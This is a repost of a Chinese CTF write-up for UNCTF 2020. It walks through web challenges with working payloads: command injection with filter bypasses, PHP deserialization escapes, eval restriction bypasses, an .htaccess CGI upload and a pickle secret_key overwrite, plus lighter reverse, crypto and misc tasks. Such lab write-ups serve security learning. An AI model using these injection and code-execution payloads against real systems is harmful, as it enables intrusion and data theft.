UNCTF 2020 WP
WEB
easy_ssrf
由题ssrf,且代码过滤了很多重要手段。这里可以直接/?url=unctf.com/…/…/…/…/flag。直接…/穿越读flag。
easyunserialize
<?php
error_reporting(0);
highlight_file(__FILE__);
class a
{
public $uname;
public $password;
public function __construct($uname,$password)
{
$this->uname=$uname;
$this->password=$password;
}
public function __wakeup()
{
if($this->password==='easy')
{
include('flag.php');
echo $flag;
}
else
{
echo 'wrong password';
}
}
}
function filter($string){
return str_replace('challenge','easychallenge',$string);
}
$uname=$_GET[1];
$password=1;
$ser=filter(serialize(new a($uname,$password)));
$test=unserialize($ser);
?>
wrong password
是反序列化字符串逃逸,这篇文章具体谈了相关逃逸的规则 php反序列化字符串逃逸
__wakeup()函数里判断password是否等于easy,是的话输出flag。
但是password我们不可控,发现有个filter函数把我们序列化后的字符串进行了替换,且替换后长度增加了,可以吧反序列化的password往后顶然后自己构造一个password的序列化字符串从而控制password。数一下我们要顶掉的字符串长度(我们自己构造的控制passwoed反序列化的字符串),";s:8:"password";s:4:"easy";}为29个字符长度。每构造一个challenge可以顶掉4个所以我们要构造8个challenge字符串。然后后面补充3个字符,以填补多出来的位置
payload:`?1=challengechallengechallengechallengechallengechallengechallengechallenge";s:8:"password";s:4:"easy";}aaa
ezphp
<?php
show_source(__FILE__);
$username = "admin";
$password = "password";
include("flag.php");
$data = isset($_POST['data'])? $_POST['data']: "" ;
$data_unserialize = unserialize($data);
if ($data_unserialize['username']==$username&&$data_unserialize['password']==$password){
echo $flag;
}else{
echo "username or password error!";
}
username or password error!
核心在第8行,是一个弱比较类型。网上查到一个 布尔反序列化 看了一下,又学到了。
这里是两个==,根据php弱类型,bool值和任何字符串都为相等,即可以构造username和password的值为bool。可以构建username和password的数组,其值可为bool的ture值。代码为
<?php
$data=[
'username'=>true,
'password'=>true,
];
$p1=serialize($data);
echo $p1;
//$p2=unserialize($p1);
?>输出a:2:{s:8:"username";b:1;s:8:"password";b:1;}
最后payload:post/ data=a:2:{s:8:“username”;b:1;s:8:“password”;b:1;}
easyflask
考点
- flask session伪造
- flask ssti
因为python没怎么学,flask更不懂。暂时看不懂。等后期集中对flask做一次笔记。
babyeval
打开链接。
- 不能利用带有括号的函数→利用echo输出内容。
- 输出内容中不能有flag→利用编码绕过
php代码首先过滤(),然后ob_start读数据。然后strpos()函数读取 d a t a 中 存 在 ′ f l a g ′ 字 符 串 , 读 取 不 存 在 就 e v a l ( data中存在'flag'字符串,读取不存在就eval( data中存在′flag′字符串,读取不存在就eval(_GET[‘a’]);
ob_start — 打开输出控制缓冲。当缓冲区激活时,所有来自PHP程序的非文件头信息均不会发送,而是保存在内部缓冲区。
strpos — 查找字符串首次出现的位置。strpos() 函数对大小写敏感。
过滤了括号基本所有的函数都用不了,想要执行命令还可以用反引号``.构造paylaod:?a=echo%20cat%20flag.php; ,发现被拦截,用base64绕过。?a=echo%20`cat%20flag.php|base64`;
这里是看博客的一个思路解的。
然后还有
**%0a**绕过。---/?a=system(%27%0acat%20f*%20|%20base64%27);
利用include函数加php伪协议。---/a=include%20%27php://filter/convert.base64-encode/resource=./flag.php%27;
PD9waHAKICAgICRmbGFnPSdGTEFHe2UzMDQxYjg5LWQ0YTctNDcyNy04NmFjLWM1MDgyY2UxYTM0 OX0nOwogICAgPz4KCgo=
easy_upload
- .htaccess文件利用(扩展:去年的susctf考察了user.ini利用、17 XMAN选拔赛的upload)
- \ Linux环境下 htaccess对cgi的利用
过滤
perl|pyth|ph|auto|curl|base|\|>|rm|ryby|openssl|war|lua|msf|xter|telnet in contents!
解题思路:上传.htaccess,开启cgi支持,上传cgi脚本,执行cgi脚本,输出flag
具体原理参照网址:https://xz.aliyun.com/t/8267#toc-0
首先上传文件:上传.htaccess 。文件内容如下
ptions +ExecCGI
AddHandler cgi-script .xx
bp抓包改文件类型为图片类型。
把回显的dir保存下来。
然后再在Linux下写cgi脚本,以下内容
#!/bin/bash
echo "Content-Type: text/plain"
echo ""
cat /flag
exit 0
上传cgi脚本,流程和.htaccess一致,但注意,cgi脚本最好在linux系统下编写,直接在bp里面改内容有可能出错,cgi脚本根据.htaccess的保存后缀,个人保存为2.xx
上传成功后,访问2.xx文件路径得到flag:
UN’s_online_tools
根据题目就知道ping命令。应该是ping命令注入。测试了一下,过滤了flag
,&
,空格
,flag
,cat
,;
执行一下127.0.0.1|ls
发现存在这两个文件index.php
style.css
因为过滤了cat,这里尝试用less–127.0.0.1|less<index.php 127.0.0.1|less<style.css
后来发现过滤的还挺多的
?php
if (isset($_GET['url'])){
$ip=$_GET['url'];
if(preg_match("/(;|'| |>|]|&| |\\$|\\|rev|more|tailf|head|nl|tail|tac|cat|rm|cp|mv|\*|\{)/i", $ip)){
die("<strong><center>非法字符</center></strong>");
}
if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("<strong><center>非法字符</center></strong>");
}
$a = shell_exec("ping -c 4 ".$ip);
echo($a);
}else{
echo "<script>alert('欢迎来到UN`s online tools 如果师傅觉得题目不适合您,可以出门左拐')</script>";
}
?>
没有实质性收获。可能会用到目录穿越。因空格被过滤,可以使用%09(tab)来代替空格
首先利用get传127.0.0.1|ls%09…/…/…/&GO=GO
开始怎么搞目录都穿不出来,后来抓包将cookie值删掉才出来。这下发现flag目录。
读取flag(用通配符?
来匹配) url=127.0.0.1%7Cless%09…/…/…/f???&GO=GO
这里还听说可以用base64编码绕过 url=127.0.0.1|echo%09Y2F0IC9mbGFn|base64%09-d|sh&GO=GO
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-GNE9gezL-1615471491921)(D:\笔记\md图片\image-20201119142142556.png)]
L0vephp
打开提示源码。然后最后有一串字符,是B4Z0-@:OCnDf,
结果是base85加密。解码是提示(get action)
get传参action。利用PHP伪协议
?action=php://filter/read=convert.base64-encode/resource=flag.php
尝试base64编码,发现被拦截。从网上得知可以用rot13编码
payload:?action=php://filter/string.rot13/resource=flag.php
源码发现多了一些东西,rot13解码后给出hint。是16进制码。再转换成文本提示1nD3x.php
打开后就发现过滤了一大堆东西
<?php
error_reporting(0);
show_source(__FILE__);
$code=$_REQUEST['code'];
$_=array('@','\~','\^','\&','\?','\<','\>','\*','\`','\+','\-','\'','\"','\\\\','\/');
$__=array('eval','system','exec','shell_exec','assert','passthru','array_map','ob_start','create_function','call_user_func','call_user_func_array','array_filter','proc_open');
$blacklist1 = array_merge($_);
$blacklist2 = array_merge($__);
if (strlen($code)>16){
die('Too long');
}
foreach ($blacklist1 as $blacklisted) {
if (preg_match ('/' . $blacklisted . '/m', $code)) {
die('WTF???');
}
}
foreach ($blacklist2 as $blackitem) {
if (preg_match ('/' . $blackitem . '/im', $code)) {
die('Sry,try again');
}
}
@eval($code);
?>
网上说可以利用远程文件包含
大佬的payload:?code=include$_GET[1];&1=data://text/plain,<?php system('cat /flag_mdnrvvldb');
然后flag就出来了
官方就是利用变长参数特性展开数组,具体参照这篇文章https://www.leavesongs.com/PHP/bypass-eval-length-restrict.html#_1
?1[]=test&1[]=system(%27ls%20/%27);&2=assert
POST
code=usort(...$_GET);
然后就查到flag_mdnrvvldb。应该就在里面,直接改命令即可。
ezfind
if(!(is_file($name)===false)){flag}else{no flag}
这是题目提示代码。使用数组绕过
根据提示构造 ?name[]=
从而输出flag
easyphp
<?php
$adminPassword = 'd8b8caf4df69a81f2815pbcb74cd73ab';
if (!function_exists('fuxkSQL')) {
function fuxkSQL($iText)
{
$oText = $iText;
$oText = str_replace('\\\\', '\\', $oText);
$oText = str_replace('\"', '"', $oText);
$oText = str_replace("\'", "'", $oText);
$oText = str_replace("'", "''", $oText);
return $oText;
}
}
if (!function_exists('getVars')) {
function getVars()
{
$totals = array_merge($_GET, $_POST);
if (count($_GET)) {
foreach ($_GET as $key => $value) {
global ${$key};
if (is_array($value)) {
$temp_array = array();
foreach ($value as $key2 => $value2) {
if (function_exists('mysql_real_escape_string')) {
$temp_array[$key2] = fuxkSQL(trim($value2));
} else {
$temp_array[$key2] = str_replace('"', '\"', str_replace("'", "\'", (trim($value2))));
}
}
${$key} = $_GET[$key] = $temp_array;
} else {
if (function_exists('mysql_real_escape_string')) {
${$key} = fuxkSQL(trim($value));
} else {
${$key} = $_GET[$key] = str_replace('"', '\"', str_replace("'", "\'", (trim($value))));
}
}
}
}
}
}
getVars();
if (isset($source)) {
highlight_file(__FILE__);
}
//只有admin才能设置环境变量
if (md5($password) === $adminPassword && sha1($verif) == $verif) {
echo 'you can set config variables!!' . '</br>';
foreach (array_keys($GLOBALS) as $key) {
if (preg_match('/var\d{1,2}/', $key) && strlen($GLOBALS[$key]) < 12) {
@eval("\$$key" . '="' . $GLOBALS[$key] . '";');
}
}
} else {
foreach (array_keys($GLOBALS) as $key) {
if (preg_match('/var\d{1,2}/', $key)) {
echo ($GLOBALS[$key]) . '</br>';
}
}
}
- 变量覆盖
- php弱类型 爆破sha1,md5弱类型
- php复杂变量getshell
根据wp也提到。这是PHP7。没有mysql_real_escape_string函数。所以中间那一段读取两个else就可以了,就是对单引号和双引号进行了一个转义。
1、变量覆盖
$adminPassword = 'd8b8caf4df69a81f2815pbcb74cd73ab'; //这里它不是一个md5值
foreach ($_GET as $key => $value) {
global ${$key};
}//这个功能可以将$_GET中的键值直接转为变量类似于 xxx?password=1 那么就能覆盖$admin变量。
md5($password) === $adminPassword //直接将$password覆盖为任意值,然后将$adminPassword覆盖为其md5值
2、弱类型
sha1($verif) == $verif
这里就是一个sha1的弱比较。0e开头的都是零。直接找出任意0exxx的变量的sha1还是0exxx就可以了。具体就参照官方wp脚本如下
<?php
for ($i5 = 0; $i5 <= 9999999999; $i5++) {
$res = '0e' . $i5;
//0e1290633704
if ($res == hash('sha1', $res)) {
print_r($res);
}
}
3、php复杂变量
foreach (array_keys($GLOBALS) as $key) {
if (preg_match('/var\d{1,2}/', $key) && strlen($GLOBALS[$key]) < 12) {
@eval("\$$key" . '="' . $GLOBALS[$key] . '";');
}
}
- 这段是将设置var开头,后面带1到2个数字变量的值,类似于var1=xxx;这样的
- 由于变量覆盖的环节限制了单双引号的输入,所以这里的解法为利用php复杂变量
首先是自定义password=1,然后取对应的md5值。其次就是弱比较就取为verif=0e1290633704。一个很好的思路。限制了单双引号的输入,可以利用php复杂变量来实现代码的实现var1={$_GET[1]}&var3=${$var1()}&1=phpinfo。调用探针查看基本信息,结果搜索出来有flag
?source&adminPassword=c4ca4238a0b923820dcc509a6f75849b&password=1&verif=0e1290633704&var1={$_GET[1]}&var3=${$var1()}&1=phpinfo
easy_flask2
主要的考点是: 使用 pickle 控制 secret_key。
题目中过滤了 R 操作符,无法直接简单的 RCE 。但是并不是不能 RCE ,这里不详细谈。我们这里说一下使用 c 操作符控制 config.secret_key 。
\x80\x03c__main__\nconfig\n}(Vsecret_key\nVcioier\nub0c__main__\nPerson\nq\x00)\x81q\x01}q\x02(X\x04\x00\x00\x00nameq\x03X\x07\x00\x00\x00Cxloverq\x04X\x08\x00\x00\x00is_adminq\x05K\x01ub.
不多说,学python去了。
REVERSE
re_checkin
下载,用IDA打开。听题目很简单,误打误撞吧,打开十六进制视图
发现flag藏在这里面,怎么说,从u开始,没隔一个大距离取其值。就是unctf{WelcomeToUNCTF}
CRYPTO
躲猫猫
下载打开,找到这个编码复制base64一下,就是flag了
鞍山大法官开庭之缺的营养这一块怎么补
将o转为a,转为b,就是培根密码解出来就是答案。
wing
下载附件。
由题目wing和提示二级office。打开word,发现wingdings2字体正与之对应。
输出所以可能出现的字符,与之对应改为正常字体就是flag了。
MISE
baba_is_you
下载压缩包解压,一张图片,用记事本打开,发现最底部有一个网址。打开发现评论区有flag.
躲猫猫
下载打开,找到这个编码复制base64一下,就是flag了
爷的历险记
打开游戏,玩了一下,发现很多套路,要一步一步跟着系统走,解了base64和摩斯密码后,拿宝箱打了第一个怪拿了第一个假flag,然后发现后面还有2个boss。有点烦了,打开游戏文件找boss的数值,
改成跟小怪一样的数据。直接打最后一个boss拿到flag。UNCTF{WelC0me_70_UNCTF2oZ0~}
阴阳人编码
`这就.`对应`Ook.`,`就这¿`对应`Ook?`,`不会吧!`对应`Ook!`,替换后解码得到flag
撕坏的二维码
用QR_Research打开图片,直接扫描得flag
YLB’s CAPTCHA - 签到题
直接看图片,看不清可以用Stegsolve.jar直接打开调整色图看。
你能破解我的密码吗
/etc/shadow 文件,用于存储 Linux 系统中用户的密码信息,又称为“影子文件”。
打开看有一个md5加密的密码信息,
$1$AH$xtjky.3kppbU27tR0SDJT.:18556:0:99999:7:::
复制,md5(salt)解码得123456
零
零宽字符隐写。http://330k.github.io/misc_tools/unicode_steganography.html这个网址直接解密。
被删除的flag
下载打开,搜索unctf
倒影
下载文件,winhex打开,FF D8 FF E0文件头,为jpg。然后最后面有一串base64编码。解码发现
0000000000B4000000A500100010000000006050B405106D6A9EA24E5767106D7AD58AC22940106D7AD58AC229400081001000000000000200A0478747E27616C666000000000000000200000000000000420080000000910000005297D4535E1555E5C90000801000A000F32010B405B4ECC7E9889EDF1BA30C6FF71836EBCFE9A735EFD6E501CE14109505827764B69DC37C6E2E478747E27616C66600000080000000910000005297D4535E1555E5C90000801000A04030B405
倒过来,发现50 4B 03 04是zip文件头,全部倒着输出来。然后用winhex写入这一串再改后缀zip。发现加密。wp上说明可以暴力破解为658745。打开就可以看到flag了
网络深处1
拨号音:使用工具dtmf2num得到电话号码。
然后打开另一个文件,使用工具audacity检查电话录音,可以在频谱图中看到提示
然后查到是塔珀自指公式(Tupper’s self-referential formula)
在线转化的网址:https://tuppers-formula.ovh/
bashsecret
报错使sha值为空
第二个输入空则可以使得判断相等
唯一注意报错时候 所带的指令cat可以执行即可。
ET-msg
打开文件,特定行列数就可以看到关键信息
这个计数就很离谱,这个直接对应ASCII码就可以了。
EZ_IMAGE
montage unctf*.jpg -tile 15x15 -geometry 60x60+0+0 test.jpg
gaps --image=test.jpg --generation=30 --population=300 --size=60
mouse_click
利用wiresharks的tshark模块。
kali----tshark -r mouse_click.pcapng -T fields -e usb.capdata | sed '/^\s*$/d' > usbdata.txt
windows---tshark.exe -r "根目录\mouse_click\mouse_click.pcapng" -T fields -e usb.capdata >"根目录\mouse_click\mouse_click.txt"
取出鼠标流量,并去除空行
以下是脚本(官方wp的)
import matplotlib.pyplot as plt
fi = open("mouse_click.txt","r")
x = 0
y = 0
click_point = []
for line in fi:
if len(line) != 12:
continue
x_offset = int(line[3:5],16)
y_offset = int(line[6:8],16)
if x_offset > 127 :
x_offset -= 256
if y_offset >127 :
y_offset -=256
x += x_offset
y += y_offset
if line[0:2]=="01":
click_point.append((x,y))
fi.close()
plt.gca().invert_yaxis()
for i in range(len(click_point)):
plt.plot(click_point[i][0], click_point[i][1], "o")
plt.show()
数据流量包是USB流量包 -> USB流量包分析 -> tshark
USB数据是8字节 -> 键盘USB流量分析 ->
USB数据是4字节 ->鼠标USB流量分析 ->
总结
以上综合官方和一些大佬的wp及我自己的理解。需要学得太多,所以也边学边写这个wp,算是记录,也为了之后看能更加明白一点,
重点说一下web,感觉自己还是有很多路要走,也要弄懂一些原理。接下来就抽空学学python了。边学边刷题吧。
转载:https://blog.csdn.net/qq_45796470/article/details/114681233